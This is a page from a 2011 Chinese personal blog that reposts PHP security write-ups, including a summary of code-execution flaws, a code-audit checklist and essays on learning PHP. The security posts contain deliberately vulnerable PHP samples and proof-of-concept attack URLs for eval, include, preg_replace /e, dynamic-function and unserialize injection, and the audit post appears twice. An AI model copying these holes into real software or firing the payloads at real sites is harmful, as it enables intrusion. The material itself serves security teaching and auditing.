架构

精力有限, 力争合作伙伴,资源共享

常用链接

统计

常用

最新评论

置顶随笔 #

[置顶]源码下载

源码下载
http://www.wangyeba.com/Soft/
http://www.wangyeba.com/Soft/php/Index.htm
http://www.codejia.com/php/list_24_1.htm
http://www.codejia.com/jsp/

http://dl.pconline.com.cn/sort/776-1-5.html
http://www.zhaoym.com/  //购买

http://www.51aspx.com/   aspx

posted @ 2011-02-15 22:58 fdsajhg 阅读(218) | 评论 (0)编辑 收藏

[置顶]PHP漏洞全解

PHP漏洞全解

PHP漏洞全解
发表于86 天前 ⁄ 信息安全 ⁄ 暂无评论 ⁄ 被围观 474 次+ 

PHP网页的安全性问题
针对PHP的网站主要存在下面几种攻击方式:
1.命令注入(Command Injection)
2.eval注入(Eval Injection)
3.客户端脚本攻击(Script Insertion)
4.跨网站脚本攻击(Cross Site Scripting, XSS)
5.SQL注入攻击(SQL injection)
6.跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
7.Session 会话劫持(Session Hijacking)
8.Session 固定攻击(Session Fixation)
9.HTTP响应拆分攻击(HTTP Response Splitting)
10.文件上传漏洞(File Upload Attack)
11.目录穿越漏洞(Directory Traversal)
12.远程文件包含攻击(Remote Inclusion)
13.动态函数注入攻击(Dynamic Variable Evaluation)
14.URL攻击(URL attack)
15.表单提交欺骗攻击(Spoofed Form Submissions)
16.HTTP请求欺骗攻击(Spoofed HTTP Requests)

几个重要的php.ini选项
Register Globals
php>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患.
例1:
//check_admin()用于检查当前用户权限,如果是admin设置$is_admin变量为true,然后下面判断此变量是否为true,然后执行管理的一些操作

//ex1.php
<?php
if (check_admin())
{
$is_admin = true;
}
if ($is_admin)
{
do_something();
}
?>

这一段代码没有将$is_admin事先初始化为Flase,如果register_globals为On,那么我们直接提交 http://www.sectop.com/ex1.php?is_admin=true,就可以绕过check_admin()的验证

例2:

//ex2.php
<?php
if (isset($_SESSION["username"]))
{
do_something();
}
else
{
echo "您尚未登录!";
}
?>

//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "<pre>";
system("ls -al ".$dir);
echo "</pre>";
}
?>

mixed eval(string code_str) //eval注入一般发生在攻击者能控制输入的字符串的时候
//ex2.php
<?php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>

<img src="http://www.shop.com/buy.php?item=watch&num=1000"/&g...,

那么如果目标用户不小心点击以后,购买的数量就成了1000个

posted @ 2011-02-14 02:20 fdsajhg 阅读(403) | 评论 (0)编辑 收藏

2011年2月23日 #

PHP代码执行漏洞总结

PHP代码执行漏洞总结

时间:2010-08-30 14:05来源:百度 作者:menzhi007 点击:117次
总结的很全面的一篇关于php漏洞方面的文章,学习,by daokers

PHP安全爱好者的盛宴the Month of PHP Security 。拜读php-security上的很多牛文,发出来共享下啦,都是偶像哇。

From:http://hi.baidu.com/menzhi007

一 代码执行函数

PHP中可以执行代码的函数。如eval()、assert()、``、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等

demo code 1.1:

<?php
echo `dir`;
?>

二 文件包含代码注射

文件包含函数在特定条件下的代码注射,如include()、include_once()、 require()、require_once()。

当allow_url_include=On ,PHP Version>=5.2.0 时,导致代码注射。

demo code 2.1:

<?php
include($_GET['a']);
?>

访问http://127.0.0.1/include.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E 即
执行phpinfo()。

三 正则匹配代码注射

众所周知的preg_replace()函数导致的代码注射。当pattern中存在/e模式修饰符,即允许执行代码。这里我们分三种情况讨论下

3.1 preg_replace() pattern 参数注射

pattern即第一个参数的代码注射。
当magic_quotes_gpc=Off时,导致代码执行。

demo code 3.1:

<?php
echo $regexp = $_GET['reg'];
$var = '<php>phpinfo()</php>';
preg_replace("/<php>(.*?)$regexp", '\\1', $var);
?>

访问http://127.0.0.1/preg_replace1.php?reg=%3C\/php%3E/e 即
执行phpinfo()。

3.2 preg_replace() replacement参数注射

replacement即第二个参数的代码注射,导致代码执行。


demo code 3.2:

<?
preg_replace("/menzhi007/e",$_GET['h'],"jutst test menzhi007!");
?>

当我们提交 http://127.0.0.1/preg_replace2.php?h=phpinfo() 即
执行phpinfo()。

3.3 preg_replace()第三个参数注射

我们通过构造subject参数执行代码。提交:http://127.0.0.1/preg_replace3.php?h=[php]phpinfo()[/php]

或者 http://127.0.0.1/preg_replace3.php?h=[php]${phpinfo%28%29}[/php] 导致代码执行

demo code 3.3:

<?
preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);
?>

四 动态代码执行

4.1 动态变量代码执行

demo code 4.1:

<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>

我们提交 http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig 执行ipconfig命令

4.2 动态函数代码执行

demo code 4.2:

<?php
$foobar = $_GET['foobar'];
$dyn_func = create_function('$foobar', "echo $foobar;");
$dyn_func('');
?>

我们提交 http://127.0.0.1/create_function.php?foobar=system%28dir%29 执行dir命令

五 其他

5.1 ob_start()函数的代码执行

demo code 5.1:

<?php
$foobar = 'system';
ob_start($foobar);
echo 'dir';
ob_end_flush();
?>

5.2 array_map()函数的代码执行

demo code 5.2:

<?php
$evil_callback = $_GET['callback'];
$some_array = array(0, 1, 2, 3);
$new_array = array_map($evil_callback, $some_array);
?>

我们提交 http://127.0.0.1/array_map.php?callback=phpinfo 即执行phpinfo()。



5.3 unserialize()与eval()

unserialize()是PHP中使用率非常高的函数。不正当使用unserialize()容易导致安全隐患。
(黑哥那个挑战2 http://hi.baidu.com/hi_heige/blog/item/505b2828da5b18f499250a9b.html)

demo code 5.3:

<?php
class Example {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['saved_code']);

?>
我们提交 http://127.0.0.1/unserialize.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo%28%29;%22;} 即执行phpinfo()。

5.4 容易导致安全问题的函数

同类型函数还有很多
array_map()
usort(), uasort(), uksort()
array_filter()
array_reduce()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
array_walk(), array_walk_recursive()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()

参考自:http://php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html

 

 

 

(责任编辑:刀)

posted @ 2011-02-23 23:12 fdsajhg 阅读(239) | 评论 (0)编辑 收藏

PHP代码审计

PHP代码审计

时间:2011年2月15日   分类:技术文章   发布:admin

 

文章来源:DoDo's Blog

DoDo:文档去年做的,按说应该更新了,写得不咋好,有些没写全,参考了很多文档。

话说owasp codereview,也该出2.0了。

牛们路过,给提点建议。

目录

1. 概述 3

2. 输入验证和输出显示 3

2.1 命令注入 4
2.2 跨站脚本 4
2.3 文件包含 5
2.4 代码注入 5
2.5 SQL注入 6
2.6 XPath注入 6
2.7 HTTP响应拆分 6

2.8 文件管理 6
2.9 文件上传 7
2.10 变量覆盖 7
2.11 动态函数 7

3. 会话安全 8

3.1 HTTPOnly设置 8
3.2 domain设置 8
3.3 path设置 8
3.4 cookies持续时间 8
3.5 secure设置 8
3.6 session固定 9
3.7 CSRF 9

4. 加密 9

4.1 明文存储密码 9
4.2 密码弱加密 9
4.3 密码存储在攻击者能访问到的文件 9

5. 认证和授权 10

5.1 用户认证 10
5.2 函数或文件的未认证调用 10
5.3 密码硬编码 10

6. 随机函数 10

6.1 rand() 10
6.2 mt_srand()和mt_rand() 11

7. 特殊字符和多字节编码 11

7.1 多字节编码 11

8. PHP危险函数 11

8.1 缓冲区溢出 11
8.2 session_destroy()删除文件漏洞 12
8.3 unset()-zend_hash_del_key_or_index漏洞 12

9. 信息泄露 13

9.1 phpinfo 13

10. PHP环境 13

10.1 open_basedir设置 13
10.2 allow_url_fopen设置 13
10.3 allow_url_include设置 13
10.4 safe_mode_exec_dir设置 14
10.5 magic_quote_gpc设置 14
10.6 register_globals设置 14
10.7 safe_mode设置 14
10.8 session_use_trans_sid设置 14
10.9 display_errors设置 14
10.10 expose_php设置 14

1.概述

代码审核,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。

代码审核不是简单的检查代码,审核代码的原因是确保代码能安全的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。审核人员可以使用类似下面的问题对开发者进行访谈,来收集应用程序信息。

应用程序中包含什么类型的敏感信息,应用程序怎么保护这些信息的?

应用程序是对内提供服务,还是对外?哪些人会使用,他们都是可信用户么?

应用程序部署在哪里?

应用程序对于企业的重要性?

最好的方式是做一个checklist,让开发人员填写。Checklist能比较直观的反映应用程序的信息和开发人员所做的编码安全,它应该涵盖可能存在严重漏洞的模块,例如:数据验证、身份认证、会话管理、授权、加密、错误处理、日志、安全配置、网络架构。

2.输入验证和输出显示

大多数漏洞的形成原因主要都是未对输入数据进行安全验证或对输出数据未经过安全处理,比较严格的数据验证方式为:

1.对数据进行精确匹配
2.接受白名单的数据
3.拒绝黑名单的数据
4.对匹配黑名单的数据进行编码

在PHP中可由用户输入的变量列表如下:

$_SERVER

$_GET

$_POST

$_COOKIE

$_REQUEST

$_FILES

$_ENV

$_HTTP_COOKIE_VARS

$_HTTP_ENV_VARS

$_HTTP_GET_VARS

$_HTTP_POST_FILES

$_HTTP_POST_VARS

$_HTTP_SERVER_VARS

我们应该对这些输入变量进行检查

1.命令注入

PHP执行系统命令可以使用以下几个函数:system、exec、passthru、“、shell_exec、popen、proc_open、pcntl_exec
我们通过在全部程序文件中搜索这些函数,确定函数的参数是否会因为外部提交而改变,检查这些参数是否有经过安全处理。

防范方法:

1.使用自定义函数或函数库来替代外部命令的功能

2.使用escapeshellarg函数来处理命令参数

3.使用safe_mode_exec_dir指定可执行文件的路径

2.跨站脚本

反射型跨站常常出现在用户提交的变量接受以后经过处理,直接输出显示给客户端;存储型跨站常常出现在用户提交的变量接受过经过处理后,存储在数据库里,然后又从数据库中读取到此信息输出到客户端。输出函数经常使用:echo、print、printf、vprintf、< %=$test%>

对于反射型跨站,因为是立即输出显示给客户端,所以应该在当前的php页面检查变量被客户提交之后有无立即显示,在这个过程中变量是否有经过安全检查。

对于存储型跨站,检查变量在输入后入库,又输出显示的这个过程中,变量是否有经过安全检查。

防范方法:

1.如果输入数据只包含字母和数字,那么任何特殊字符都应当阻止

2.对输入的数据经行严格匹配,比如邮件格式,用户名只包含英文或者中文、下划线、连字符

3.对输出进行HTML编码,编码规范

< < > >

( (

) )

# #

& &

” “

‘ ‘

` %60

3.文件包含

PHP可能出现文件包含的函数:include、include_once、require、require_once、show_source、highlight_file、readfile、file_get_contents、fopen、file

防范方法:

1.对输入数据进行精确匹配,比如根据变量的值确定语言en.php、cn.php,那么这两个文件放在同一个目录下’language/’.$_POST[‘lang’].’.php’,那么检查提交的数据是否是en或者cn是最严格的,检查是否只包含字母也不错

2.通过过滤参数中的/、..等字符

4.代码注入

PHP可能出现代码注入的函数:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function

查找程序中程序中使用这些函数的地方,检查提交变量是否用户可控,有无做输入验证

防范方法:

1.输入数据精确匹配

2.白名单方式过滤可执行的函数

5.SQL注入

SQL注入因为要操作数据库,所以一般会查找SQL语句关键字:insert、delete、update、select,查看传递的变量参数是否用户可控制,有无做过安全处理

防范方法:

使用参数化查询

6.XPath注入

Xpath用于操作xml,我们通过搜索xpath来分析,提交给xpath函数的参数是否有经过安全处理

防范方法:

对于数据进行精确匹配

7.HTTP响应拆分

PHP中可导致HTTP响应拆分的情况为:使用header函数和使用$_SERVER变量。注意PHP的高版本会禁止HTTP表头中出现换行字符,这类可以直接跳过本测试。

防范方法:

1.精确匹配输入数据

2.检测输入输入中如果有\r或\n,直接拒绝

8.文件管理

PHP的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可能成为高危漏洞。我们应该在程序中搜索如下函数:copy、rmdir、unlink、delete、fwrite、chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents、fread、readfile、ftruncate、file_put_contents、fputcsv、fputs,但通常PHP中每一个文件操作函数都可能是危险的。

http://ir.php.net/manual/en/ref.filesystem.php

防范方法:

1.对提交数据进行严格匹配

2.限定文件可操作的目录

9.文件上传

PHP文件上传通常会使用move_uploaded_file,也可以找到文件上传的程序进行具体分析

防范方式:

1.使用白名单方式检测文件后缀

2.上传之后按时间能算法生成文件名称

3.上传目录脚本文件不可执行

4.注意%00截断

10.变量覆盖

PHP变量覆盖会出现在下面几种情况:

1.遍历初始化变量

例:

foreach($_GET as $key => $value)

$$key = $value;

2.函数覆盖变量:parse_str、mb_parse_str、import_request_variables

3.Register_globals=ON时,GET方式提交变量会直接覆盖

防范方法:

1.设置Register_globals=OFF

2.不要使用这些函数来获取变量

11.动态函数

当使用动态函数时,如果用户对变量可控,则可导致攻击者执行任意函数。

例:

< ?php $myfunc = $_GET['myfunc']; $myfunc(); ?>

防御方法:

不要这样使用函数

3.会话安全

1.HTTPOnly设置

session.cookie_httponly = ON时,客户端脚本(JavaScript等)无法访问该cookie,打开该指令可以有效预防通过XSS攻击劫持会话ID

2.domain设置

检查session.cookie_domain是否只包含本域,如果是父域,则其他子域能够获取本域的cookies

3.path设置

检查session.cookie_path,如果网站本身应用在/app,则path必须设置为/app/,才能保证安全

4.cookies持续时间

检查session.cookie_lifetime,如果时间设置过程过长,即使用户关闭浏览器,攻击者也会危害到帐户安全

5.secure设置

如果使用HTTPS,那么应该设置session.cookie_secure=ON,确保使用HTTPS来传输cookies

6.session固定

如果当权限级别改变时(例如核实用户名和密码后,普通用户提升到管理员),我们就应该修改即将重新生成的会话ID,否则程序会面临会话固定攻击的风险。

7.CSRF

跨站请求伪造攻击,是攻击者伪造一个恶意请求链接,通过各种方式让正常用户访问后,会以用户的身份执行这些恶意的请求。我们应该对比较重要的程序模块,比如修改用户密码,添加用户的功能进行审查,检查有无使用一次性令牌防御csrf攻击。

4.加密

1.明文存储密码

采用明文的形式存储密码会严重威胁到用户、应用程序、系统安全。

2.密码弱加密

使用容易破解的加密算法,MD5加密已经部分可以利用md5破解网站来破解

3.密码存储在攻击者能访问到的文件

例如:保存密码在txt、ini、conf、inc、xml等文件中,或者直接写在HTML注释中

5.认证和授权

1.用户认证

检查代码进行用户认证的位置,是否能够绕过认证,例如:登录代码可能存在表单注入。

检查登录代码有无使用验证码等,防止暴力破解的手段

2.函数或文件的未认证调用

一些管理页面是禁止普通用户访问的,有时开发者会忘记对这些文件进行权限验证,导致漏洞发生

某些页面使用参数调用功能,没有经过权限验证,比如index.php?action=upload

3.密码硬编码

有的程序会把数据库链接账号和密码,直接写到数据库链接函数中。

6.随机函数

1.rand()

rand()最大随机数是32767,当使用rand处理session时,攻击者很容易破解出session,建议使用mt_rand()

2.mt_srand()和mt_rand()

PHP4和PHP5<5.2.6,这两个函数处理数据是不安全的。在web应用中很多使用mt_rand来处理随机的session,比如密码找回功能等,这样的后果就是被攻击者恶意利用直接修改密码。

7.特殊字符和多字节编码

1.多字节编码

8.PHP危险函数

1.缓冲区溢出

confirm_phpdoc_compiled

影响版本:

phpDocumentor phpDocumentor 1.3.1

phpDocumentor phpDocumentor 1.3 RC4

phpDocumentor phpDocumentor 1.3 RC3

phpDocumentor phpDocumentor 1.2.3

phpDocumentor phpDocumentor 1.2.2

phpDocumentor phpDocumentor 1.2.1

phpDocumentor phpDocumentor 1.2

mssql_pconnect/mssql_connect

影响版本:PHP < = 4.4.6

crack_opendict

影响版本:PHP = 4.4.6

snmpget

影响版本:PHP <= 5.2.3

ibase_connect

影响版本:PHP = 4.4.6

unserialize

影响版本:PHP 5.0.2、PHP 5.0.1、PHP 5.0.0、PHP 4.3.9、PHP 4.3.8、PHP 4.3.7、PHP 4.3.6、PHP 4.3.3、PHP 4.3.2、PHP 4.3.1、PHP 4.3.0、PHP 4.2.3、PHP 4.2.2、PHP 4.2.1、PHP 4.2.0、PHP 4.2-dev、PHP 4.1.2、PHP 4.1.1、PHP 4.1.0、PHP 4.1、PHP 4.0.7、PHP 4.0.6、PHP 4.0.5、PHP 4.0.4、PHP 4.0.3pl1、PHP 4.0.3、PHP 4.0.2、PHP 4.0.1pl2、PHP 4.0.1pl1、PHP 4.0.1

2.session_destroy()删除文件漏洞

影响版本:不祥,需要具体测试

测试代码如下:

view sourceprint?01 <?php  

02 session_save_path(‘./’);  

03 session_start();  

04 if($_GET[‘del’]) {  

05 session_unset();  

06 session_destroy();  

07 }else{  

08 $_SESSION[‘do’]=1;  

09 echo(session_id());  

10 print_r($_SESSION);  

11 }  

12 ?> 

当我们提交cookie:PHPSESSIONID=/../1.php,相当于删除了此文件

3.unset()-zend_hash_del_key_or_index漏洞

zend_hash_del_key_or_index PHP4小于4.4.3和PHP5小于5.1.3,可能会导致zend_hash_del删除了错误的元素。当PHP的unset()函数被调用时,它会阻止变量被unset。

9.信息泄露

1.phpinfo

如果攻击者可以浏览到程序中调用phpinfo显示的环境信息,会为进一步攻击提供便利

10.PHP环境

1.open_basedir设置

open_basedir能限制应用程序能访问的目录,检查有没有对open_basedir进行设置,当然有的通过web服务器来设置,例如:apache的php_admin_value,nginx+fcgi通过conf来控制php设置

2.allow_url_fopen设置

如果allow_url_fopen=ON,那么php可以读取远程文件进行操作,这个容易被攻击者利用

3.allow_url_include设置

如果allow_url_include=ON,那么php可以包含远程文件,会导致严重漏洞

4.safe_mode_exec_dir设置

这个选项能控制php可调用的外部命令的目录,如果PHP程序中有调用外部命令,那么指定外部命令的目录,能控制程序的风险

5.magic_quote_gpc设置

这个选项能转义提交给参数中的特殊字符,建议设置magic_quote_gpc=ON

6.register_globals设置

开启这个选项,将导致php对所有外部提交的变量注册为全局变量,后果相当严重

7.safe_mode设置

safe_mode是PHP的重要安全特性,建议开启

8.session_use_trans_sid设置

如果启用 session.use_trans_sid,会导致 PHP 通过 URL 传递会话 ID,这样一来,攻击者就更容易劫持当前会话,或者欺骗用户使用已被攻击者控制的现有会话。

9.display_errors设置

如果启用此选项,PHP将输出所有的错误或警告信息,攻击者能利用这些信息获取web根路径等敏感信息

10.expose_php设置

如果启用 expose_php 选项,那么由 PHP 解释器生成的每个响应都会包含主机系统上所安装的 PHP 版本。了解到远程服务器上运行的 PHP 版本后,攻击者就能针对系统枚举已知的盗取手段,从而大大增加成功发动攻击的机会。

参考文档:

https://www.fortify.com/vulncat/zh_CN/vulncat/index.html

http://secinn.appspot.com/pstzine/read?issue=3&articleid=6

http://riusksk.blogbus.com/logs/51538334.html

http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project

posted @ 2011-02-23 22:25 fdsajhg 阅读(326) | 评论 (0)编辑 收藏

PHP学习路线

PHP学习路线

时间:2011年2月5日   分类:脚本语法   发布:admin

 

最近是不止一点盲目了,不知道该干啥,转几个文章综合看看吧。

文一

本文旨在讨论如成为一名真正的PHP开发者.
本文不把三个月学会PHP的人纳入讨论的范围.
本文讨论的重点在于PHP学习及开发的持久性与外延性.
当许多人把自己三个月学会PHP当作一种资本到处炫耀时.
当这些人炫耀过后又转投其它语言时.我必需告诉你,你不适合做PHP的开发工作.
是的,PHP有许多直观的函数,可以很直观的使用,但你未必真正了解它在什么样的状态下使用..

或者说所有函数的所有组合使用是很难一下子完全撑握的…即便完全撑握…也或许可以找到别外的更好的方法…

是的,每个新的PHP的发行版本都有函数在被废止,还有另外一些新的函数出现,所以,这是一个不断加固的过程….

你可能或者必需采用面象对的方法做开发.而仅仅是理解面向对象的真谛,如果你不是超人,而又从来没有接触过面向对象,那么,没有半年的时间你是很难完全理解它的….

 

当然,你还需要读许多的代码..

读论坛程序可以很好的撑握整体的布局.PHPBB的代码是最最优秀的学习工具,而且可以很方便的修改..

看看DISCUZ的代码你就会很明白,如果你看到DISCUZ的最初版本(CTB),那么你将更清楚.几乎是完全按照PHPBB的模式来的….

当然要撑握更多的技巧可以查看一下(PHPMYADMIN)的代码,虽然它很大,但他提供了一些很好的技巧..如果觉得需要在安全方面有提高,可以找一些开源的商城网站http://code.knowsky.com/ndown.asp?ntypeid=41读一下.好了,读完这三个程序,半年的时间也就过完了…

接下来你需要撑握一些额外的技术.这其中包括但不限于:JavaScript,XML,HTML,HTTP协议,AJAX,MYSQL(安全运行, 优化,命令行操作),DOM处理.所幸学习这些东西的进度都会比学习PHP快上许多,但没有8-10月的时间还是不大容易完全撑握…

另外PHP程序运行在LINUX主机上和运行在WINDOWS上机上是区别的.所以应区别对待.

好了,先写这么多吧.学习任何语言都不能心浮气燥…学习编程语言更需要良好的英语基础作为保障.我自己的英语就很差,我深受其害.

最后把学习的时间表列在下面,仅供参考:
1,基础学习:安装配置和其它基础知识:3个月.
2,阅读并完全理解别人的代码,熟悉面向对象12个月.
3,撑握其它的技术:包括:JAVASCRIPT,XML,AJAX,MYSQL,HTTP协议.LINUX.(这些也可以在1.2.的学习中顺便了解)8个月.
这已经需是两年的时间,当然,这中间一定会有更新的技术出炉,包括PHP的,也包括其它的技术….这些也是需要认真学习的.
学习是一个循序渐进,你不可能像一台机器一样只去制造不去思考….

文二

首先作PHP程序员应该从思想上认识到这是值得骄傲的事情。因为你已经进入了FREE的领域。
从技术角度讲做JAVA程序员也是骄傲的事情;而作ASP呢。如果也能很好的开发COM组件也是很强的程序员。其实并不在于语言,而在于人。
PHP是门槛低,但是有几个人摸到了它的天花板呢?
学习PHP基本功很重要。 最好有数据结构的学习经历。
对于1,2年的新手来说。在2年内必须完全掌握
smarty+pear+adodb+xml+ajax
工具类必须熟练掌握 zend studio 的开发。
数据库必须熟练掌握 mysql & sqlserver
操作系统必须对liunx有一定的了解。并能配置环境。
对apache也应该买本管理员手册好好看看。
以上为2年内,必须掌握的内容
第三年,如果没有.NET或者JAVA类的开发经验,请需要补补了。因为.NET和JAVA的思想比PHP要成熟的多,同样学习SQLSERVER也是为了提高mysql的使用水平。数据库可不是简单的建表查询就可以了。
所以我建义第三年的时候,多补充思想及数据库方面的内容。但是这并不意味前2年就不看。我的意思是第三年更趋于此。 因为在这个时候,你对PHP的很多基础部分已经了然于胸了,然后需要一个整体的提高,而不是很片面的提升。
这个时候,你就要考虑架构问题了。
第四年,当你部署一个大型项目的是否。负载及文件分布还有安全,等等部署方面的问题接踵而来。这个时候你要去努力理解什么是file server 集群,什么是web server集群 什么是database 集群等等。然后这些对你编码又有什么提高的要求等等。
第五年。尝试努力学习C及C++这个时候你将对栈还有指针还有内存有一个更深刻的了解。

文三

作者:高洛峰 (PHP入门经典《细说PHP》作者)

每个人的学习方式不同,写这篇文章仅供参考,不要一味的用别人的学习方法,找对自己有用的学习方式
经常在某些论坛和QQ群里看到一些朋友会问“怎样才能学好PHP,怎样才能学好***语言 ”,但别人回答最多的是:从最“简单”的开始。
这个简单也许真的不简单,呵呵。下面我想分享一下自己学习的一些过程。
先说些费话,语言组织能力差,说了不少费话,愿意看的就看,不要骂我就行
其实学习一门新语言并不是太难,重要的是你有没有准备好去学好它,时间的长短和个人的能力和决心有关。黑客界也流行一句话就是“没有入侵不了的计算机”, 这句话大概的意思是说:如果你的技术比维护这台计算机的管理员更胜一筹,那么就能拿下这台计算机甚至能拿下这个管理员管理的所有计算机,如果技不如人,只 能继续学习超过对方。我说这些话的意思就是让准备学习陌生语言朋友一定要下决心去学习,只要你下了决心去学了,就一定能学好,千万不要半途而废。(退一万 步来说,即使是没学好,但你懂的必然比别人多)
了解什么是最简单:
1、网页的基本构成就是html代码,所以必须熟悉HTML/CSS/JS等基本元素
2、熟悉PHP语法,了解PHP和HTML的运行方式,学习将PHP与HTML结合完成简单页面
PHP手册是比较好的入门老师
…..
影响学习进度和程序强大是否的几个可能因素:
1、记忆力
一门语言的强大是否,应该看它的函数库和代码执行效率。
每门语言都是有自己强大的函数库,要学好它,就必须得花很多的时间去记忆,良好的记忆力能使学习达到事半功倍的效果。
2、数学和逻辑思维
这个当然不是绝对影响,因为看开发项目的复杂程度。
小的项目不需要太多的数学和逻辑思维能力,但如果是开发类似于财务或大量运算相关项目,这一点就是非常重要了。
3、有其它语言的基础
“一通百通”,这句话的道理也是不容置疑。都说有C语言基础的人,学习PHP比较容易,我没学过C语言,所以不知道这句话的效果
4、多看别人写的代码
学习别人的长处,补自己的不足,当然不完全为这个
我始终相信:一个有组织的团队写出来的程序不会比个人差
我PHP入门就是从看代码开始的,我喜欢看别人写的代码(入门是从disucz,PHPWind和国外的phpbb看起,还有就是目前最流行的开源 BLOG程序),我尽可能的收集网络上的PHP开源程序,到目前为止,我收集并下载的PHP开源程序有2GB大小,包括BBS,BLOG,CMS等。我下 载并不是为了收藏他们,是学习他们的编程方式和实现方法,如果自己想实现的功能不知道怎么去实现,我就会学习他们的实现方法,并不是抄袭代码,最终结果是 想通过学习,将技术变成属于自己的
ASP我也是以同样的方式学习的(动易和讯的程序及其它ASP开源程序)
5、实践
理论固然重要,但实践必不可少。你理论知识再好,如果不实践,就不能看到理论所产生的结果或效果,并不能使你的记忆深刻,所以不能纸上谈兵
6、恒心
广告不是有句话是这样说的么:“世界上最高的山是自己”,这句话相信朋友们都能理解
过自己这关,其它的都好办
7、找对自己有用的学习方式
这条可以参照4,我的入门是从看代码开始
可能有朋友会问:“一开始看那些强大的代码,你能看懂么?”
我的学习方式是从“使用”找“学函数”:PHP的函数太多,短时间不可能记住所有的函数,因为我相信,一个大的项目肯定会使用常见和必须的函数,找到这些 函数,才会有重点的学习这些函数,难道你能说写BBS的函数会比写BLOG用的函数少么?难道会写BBS还不会写BLOG么?
找对学习方式是要经过多种学习方式的尝试,所以这个只有自己把握,毕竟每个人的学习方式不一样
8、尽可能的找视屏教程看
别人说十句,还不如一个操作看的明白,这个相信朋友们都有体会吧
9、从项目开始
一定要”逼”自己从写项目开始。
任何一个高手的“成长”都是要经历一个过程,这个过程是一步步走过来的,来之不易
很多朋友学习PHP的第一个作品几乎都是“留言簿”,因为是最简单的程序了
会写留言簿,也并不能完全代表你已经入门了,也并不代表就会了PHP,我自己开始想以一个“网络书签”作为自己的第一个作品,但写了基本功能后就没继续 了,感觉没多大意思。现在写一个完全正确针对企业的CMS系统,包括针对企业的一些常用功能,我想以这个作为自己PHP入门的第一个作品
10、了解并学习和PHP有关的技术
真正的高手必须得学习和PHP关联的技术,要想学好PHP,就必须得学习数据库,PHP+MYSQL被认为是“黄金搭档”
所以你必须得接触MYSQL或你认为比较好的数据库,开始设计比较”合理”的数据库,这里的合理就比较广泛了,包括数据库优化和查询优化等等
最后想说的是:“不要依靠别人”没人愿意理会一个新手的提问,因为新手提问的在他们眼里太简单,不想去解释
女性朋友很流行一句话是“男人靠的住,母猪会上树” 引用这句话没别的意思,只是让朋友们知道这句话的意思
还想说的是:“珍惜别人回答的次数”人的忍耐都是有限度的,一定要珍惜这个限度,不要什么问题都去问,有些问题自己花点时间能找到答案的也去问,每问一 次,别人的耐心就减去一次,等你真正需要帮助的时候,正好是别人不愿意回答你的时候,可以想像一下,你失去的太多了
建议的是:“有问题?baidu一下”相信朋友们都已经注意到了,你问的问题,在搜索引里都能找到相关的提问,并且有详细的解决方案,你可以使用搜索引擎来找到自己的答案,何必去问别人呢
目前最大的中文搜索引擎是 baidu.com ,全球的google,当然还有其它的搜索引擎,一个找不到,多试几个,除非你的问题是第一个提问的 ,那么你是幸运的,也可能是你“长相”问题,呵呵,说笑的,不要介意,不过这句话倒是挺流行
祝正准备入门的PHP的朋友能找到适合自己的学习方式,早日成功!!

posted @ 2011-02-23 21:20 fdsajhg 阅读(1876) | 评论 (0)编辑 收藏

PHP代码审计

PHP代码审计

时间:2011年2月15日   分类:技术文章   发布:admin

 

文章来源:DoDo's Blog

DoDo:文档去年做的,按说应该更新了,写得不咋好,有些没写全,参考了很多文档。

话说owasp codereview,也该出2.0了。

牛们路过,给提点建议。

目录

1. 概述 3

2. 输入验证和输出显示 3

2.1 命令注入 4
2.2 跨站脚本 4
2.3 文件包含 5
2.4 代码注入 5
2.5 SQL注入 6
2.6 XPath注入 6
2.7 HTTP响应拆分 6

2.8 文件管理 6
2.9 文件上传 7
2.10 变量覆盖 7
2.11 动态函数 7

3. 会话安全 8

3.1 HTTPOnly设置 8
3.2 domain设置 8
3.3 path设置 8
3.4 cookies持续时间 8
3.5 secure设置 8
3.6 session固定 9
3.7 CSRF 9

4. 加密 9

4.1 明文存储密码 9
4.2 密码弱加密 9
4.3 密码存储在攻击者能访问到的文件 9

5. 认证和授权 10

5.1 用户认证 10
5.2 函数或文件的未认证调用 10
5.3 密码硬编码 10

6. 随机函数 10

6.1 rand() 10
6.2 mt_srand()和mt_rand() 11

7. 特殊字符和多字节编码 11

7.1 多字节编码 11

8. PHP危险函数 11

8.1 缓冲区溢出 11
8.2 session_destroy()删除文件漏洞 12
8.3 unset()-zend_hash_del_key_or_index漏洞 12

9. 信息泄露 13

9.1 phpinfo 13

10. PHP环境 13

10.1 open_basedir设置 13
10.2 allow_url_fopen设置 13
10.3 allow_url_include设置 13
10.4 safe_mode_exec_dir设置 14
